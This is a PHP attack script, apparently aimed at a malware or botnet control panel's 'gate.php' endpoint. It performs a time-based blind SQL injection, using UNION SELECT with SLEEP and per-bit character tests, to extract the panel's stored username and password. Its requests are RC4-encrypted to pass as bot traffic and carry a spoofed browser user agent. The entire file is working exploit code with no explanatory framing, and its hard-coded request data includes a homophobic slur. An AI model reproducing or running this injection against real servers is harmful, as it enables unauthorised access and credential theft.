<?php // Panel.zip hash: c49c74a609b24284a0a66fc008c4d8f2 // Start with PHP CLI (php pwn.php) set_time_limit(0); // Adjust this :) define('SLEEP_TIME', '4'); define('PAGE_TIME', 4); echo('attacking ' . URL . PHP_EOL); get_string('username'); get_string('password'); function get_length($field) { $length = 1; while (!is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (LENGTH(value)=" . $length . ") OR SLEEP(" . SLEEP_TIME . "))-- ")) { ++$length; } echo($field . ' length: ' . $length . PHP_EOL); return $length; } function get_string($field) { $length = get_length($field); $str = ''; for ($i = 0; $i < $length; ++$i) { $str .= chr(get_char($field, $i)); echo($field . ' : ' . str_pad($str, $length, '*') . PHP_EOL); } return $str; } function get_char($field, $id) { $binary = ''; for ($i = 1; $i < 256; $i *= 2) { if ($i == 128) $binary = '0' . $binary; else $binary = (is_true("' UNION SELECT ALL 1,2,3,4,5,6,7 FROM `settings` WHERE `key` = '" . $field . "' AND (NOT (ORD(SUBSTR(`value`," . ($id + 1) . ",1)) & " . $i . ") OR SLEEP(" . SLEEP_TIME . "))-- ") ? '1' : '0') . $binary; } return bindec($binary); } function is_true($query) { $rc4_key = 'aaaa'; // b d u $data = 'u=tapz&d=faggot&b=lol'; $encode = rc4($rc4_key, $data, strlen($data), strlen($rc4_key)); $encode = $rc4_key . $encode; $injection = urlencode($query); $req = post_request(URL . 'gate.php?i=127.0.0.1' . $injection, $encode); return !($req['time'] < PAGE_TIME); } function post_request($url, $data) { $handle = curl_init($url); curl_setopt($handle, CURLOPT_HEADER, false); curl_setopt($handle, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); curl_setopt($handle, CURLOPT_POST, true); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_TIMEOUT, 30); $time = microtime(true); $page = curl_exec($handle); $time = microtime(true) - $time; curl_close($handle); return array( 'page' => $page, 'time' => $time ); } function rc4($pwd, $data, $data_length, $pwd_length){ $key[] = ''; $box[] = ''; $cipher = ''; for ($i = 0; $i < 256; $i++) { $key[$i] = ord($pwd[$i % $pwd_length]); $box[$i] = $i; } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $key[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $data_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $k = $box[(($box[$a] + $box[$j]) % 256)]; $cipher .= chr(ord($data[$i]) ^ $k); } return $cipher; }